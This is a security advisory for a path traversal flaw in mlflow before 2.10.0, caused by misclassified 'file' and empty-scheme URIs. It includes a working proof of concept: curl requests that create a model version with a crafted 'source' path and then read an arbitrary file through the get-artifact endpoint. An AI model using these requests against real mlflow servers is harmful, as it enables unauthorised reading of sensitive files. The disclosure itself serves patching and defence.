Path Traversal Affecting mlflow package, versions [,2.10.0)

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to Path Traversal due to improper parsing of URIs, allowing attackers to bypass checks and read arbitrary files on the system. The issue arises from the is_local_uri function's failure to properly handle URIs with empty or 'file' schemes, leading to the misclassification of URIs as non-local. Attackers can exploit this by crafting malicious model versions with specially crafted 'source' parameters, enabling the reading of sensitive files within at least two directory levels from the server's root.

Create a file containing SECRET in any 2 levels folder like: echo "SECRET" > /home/mizu/poc.txt.

Start the mlflow web server:

mlflow ui --host 127.0.0.1:5000

Create a registered model:

curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc"}' 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/registered-models/create'

Create a malicious model version:

curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc", "source": "//home/mizu/"}' 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/model-versions/create'

Read /home/mizu/poc.txt:

curl 'http://127.0.0.1:5000/model-versions/get-artifact?path=poc.txt&name=poc&version=1'

• GitHub Commit